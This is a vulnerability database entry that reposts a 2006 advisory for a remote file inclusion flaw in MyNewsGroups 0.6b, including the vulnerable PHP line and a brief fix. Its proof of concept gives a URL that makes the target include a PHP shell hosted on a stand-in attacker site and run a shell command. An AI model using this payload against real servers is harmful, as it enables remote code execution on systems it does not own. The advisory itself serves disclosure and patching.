MyNewsGroups <= 0.6b (myng_root) Remote Inclusion Vulnerability

CVE	Category	Price	Severity
N/A	CWE-N/A	N/A	N/A

Author	Risk	Exploitation Type	Date
N/A	N/A	Remote	2006-08-07

CPE
cpe:cpe:/a:mynewsgroups:myng:0.6b

CVSS	EPSS	EPSSP
CVSS:Not Available	0	0

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2006080025

Below is a copy:

+--------------------------------------------------------------------

+

+ MyNewsGroups :) v. 0.6b <= Remote File Inclusion

+

+--------------------------------------------------------------------

+

+ Affected Software .: MyNewsGroups :) v. 0.6b

+ Venedor ...........: http://mynewsgroups.sourceforge.net

+ Class .............: Remote File Inclusion

+ Risk ..............: high (Remote File Execution)

+ Found by ..........: Philipp Niedziela

+ Original advisory .: http://www.bb-pcsecurity.de/

+ Contact ...........: webmaster[at]bb-pcsecurity[.]de

+

+--------------------------------------------------------------------

+

+ Code /lib/tree/layersmenue.inc.php:

+

+ .....

+ <?php

+ // PHP Layers Menu 2.3.5 (C) 2001-2003 Marco Pratesi (marco at telug dot

it)

+

+ require_once $myng_root."/pear/PEAR.php";

+ .....

+

+--------------------------------------------------------------------

+

+ $myng_root is not properly sanitized before being used.

+ The bug is in the "PHP Layers Menu 2.3.5" Package for MyNewsGroups.

+

+--------------------------------------------------------------------

+

+ Solution:

+ Add this line to your php-file:

+

+ $myng_root ="bla/bla" //Your root path

+

+--------------------------------------------------------------------

+ PoC:

+ Place a PHPShell on a remote location:

+ http://evilsite.com/pear/PEAR.php/index.html

+

+

http://[target]/lib/tree/layersmenu.inc.php?myng_root=http://evilsite.co
m/P

EAR.php/&cmd=ls

+

+--------------------------------------------------------------------

+

+ Greets:

+ Krini&Lenni

+

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